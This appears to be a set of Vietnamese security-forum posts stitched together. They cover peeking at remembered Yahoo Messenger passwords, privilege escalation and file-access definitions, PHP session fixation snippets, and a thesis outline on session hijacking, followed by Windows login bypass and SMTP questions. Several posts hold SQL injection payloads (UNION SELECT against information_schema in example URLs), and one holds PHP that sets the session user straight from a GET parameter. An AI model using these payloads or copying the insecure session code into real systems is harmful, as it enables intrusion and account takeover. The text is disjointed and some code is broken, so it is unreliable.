fangbua wrote:

jforum3000 wrote:

fangbua wrote:

nếu trên yahoo messenger hay trang đăng nhập mail có để chức năng Remember , bạn có thể dùng trình "soi" các ký tự của passwd
Tham khảo : http://blog.halinh.vn/Soi-pass-Yahoo-duoi-dang-sao/ 

Chỉ soi được lúc gõ lần đầu, chưa bị mã hóa thôi. Sau khi tắt YM đi mở lại, chương trình này trở nên vô dụng. 

Sao lại Vô Dụng , bạn có thể test thử .
Mình đang nói đến "Remember" mà  

Mình soi thử rùi: thay bằng mấy dấu * là chữ password pó hand!
Mà thấy các bạn nói là copy, copy như thế nào??? Mình đã thử copy DataValue vào ô pass của Y!M hoặc tạo cả key ETS và Yahoo! User ID với giá trị tương tự lúc trước khi mình bỏ remeber mà chẳng có tác dụng gì cả. Với lai phải tìm được pass chưa bị mã hóa thì mới có giá trị chứ, hihi  

Leo thang đặc quyền theo chiều ngang(horizontal privilege escalation).
Đây là hình thức 1 user truy cập thông tin trái phép của 1 user khác trong hệ thống web application. Chẳng hạn trong hệ thống tài khoản ngân hàng, 1 user chỉ được phép xem và giao dịch với tài khoản của chính user đó. Nhưng hệ thống web application lại tiềm ẩn lỗi và 1 user này có thể xem và giao dịch dưới vai trò là 1 user khác.


Leo thang đặc quyền theo chiều dọc(vertical privilege escalation).
Đó là hình thức hacker từ 1 user bình thường trong hệ thống bằng cách khai thác lỗi của web application, hacker nâng quyền tải khoản của mình lên thành tài khoản có quyền cao hơn như tài khoản quản trị hệ thống. Từ đó nắm được quyền quản trị hệ thống.
Xâm nhập tập tin trái phép(arbitrary file access).
Đó là hình thức hacker xâm nhập các file không thuộc hệ thống web aplication nhờ vào lỗi của chính hệ thống web application. Chẳng hạn như truy cập các file trái phép của hệ điều hành như boot.ini hoặc /etc/passwd

 

md5($rand_string).'a4xn' 

file class.php
<?php
Class User
{
private $css;
public function set_css($a)
{$a=$css}
public function get_css()
{return $css}
....
?>
 

<?php
include('class.php');

' Chứng thực user thành công sẽ...
$user = new user();
$user->set_css();
....

?>
 

<?php
Class User
{
public function set_css($a)
{..... }
public function get_css()
{..... }
public function set_sessionid($a)
{..... }
public function get_sessionid()
{..... }
...........
}
?>
 

<?php
session_start();
$_SESSION['user']=$_GET['uid'];
?> 

@phitiger: ấn định phiên làm việc có phải là "session fixation" ko nhi? Bồ google keyword đó thử coi đúng yêu cầu ko. Bồ cho tui cái list tất cả các chương của luận án tốt nghiệp đó thử (ngày xưa tui cũng học trường này và cũng làm về đề tài này ) 

Về Ấn Định Phiên Làm Việc mình có thắc mắc là trong thực tế có website nào thiết kế kiểu như vậy ko?
Nghĩa là: Hacker send 1 url chứa session được ấn định sẵn cho victim. Victim chạy URL đó và đăng nhập vào hệ thống.
Hacker sẽ vào được phiên làm việc đó với sesssion đã được ấn định.
 

Chương 7: Chiếm hữu phiên làm việc (Session Management)…………………………
I. TỔNG QUAN VỀ SESSION ID……………………………………………………..
II. ẤN ĐỊNH PHIÊN LÀM VIỆC……………………………………………………...
II.1. Tấn công Session ID trên tham số URL…………………………………………
II.2. Tấn công Session ID trong biến ẩn form………………………………………...
II.3. Tấn công Session ID trong cookie……………………………………………….
II.4. Cách phòng chống……………………………………………………………….
III. ĐÁNH CẮP PHIÊN LÀM VIỆC…………………………………………………..
III.1. Tấn công kiểu dự đoán phiên làm việc (Prediction sessionID)…………………
III.2. Tấn công kiểu vét cạn phiên làm việc (Brute force ID)………………………...
III.3. Tấn công kiểu dùng đoạn mã để đánh cấp phiên làm việc……………………...
III.4. Cách phòng chống……………………………………………………………….
III.5. Sự khác biệt giữa đánh cắp phiên làm việc (session hijacking) và ấn định phiên
làm việc (session fixation)……………………………………………………………...

 

select theloai from news where id=5 union select table_name from information_schema.tables -- and theloai=2
 

Syntax error converting the nvarchar value 'users' to a column of data type int.  

select * from news where id=5
select id,tieude,noidung from news where id=5 <br> .... 

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--  

SELECT * FROM product WHERE id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--  

select id,tomtat from news where theloai=2 union select top 1 table_name,table_name from ìnormation_schema.tables 

Công việc cụ thể là như vầy, em có 1 cái máy nhưng chỉ có 1 user login vào được thôi và em nghe nói mình mua cái đĩa Hiren' boot bỏ vào để bỏ qua pass khi nhỡ quên pass , mà chương trình đó nó có làm mất luôn cái pass đó hay ko vậy, em chỉ cần được 1 lần vào Win máy đó nhưng ko muốn tên user và pass bị thay đổi .  

Cho mình hỏi. Mình không có SMTP server thì mình sẽ dùng smtp server khác, nhưng để dùng được nó thì config nó như thế nào? Mong bạn giúp đỡ. Thanks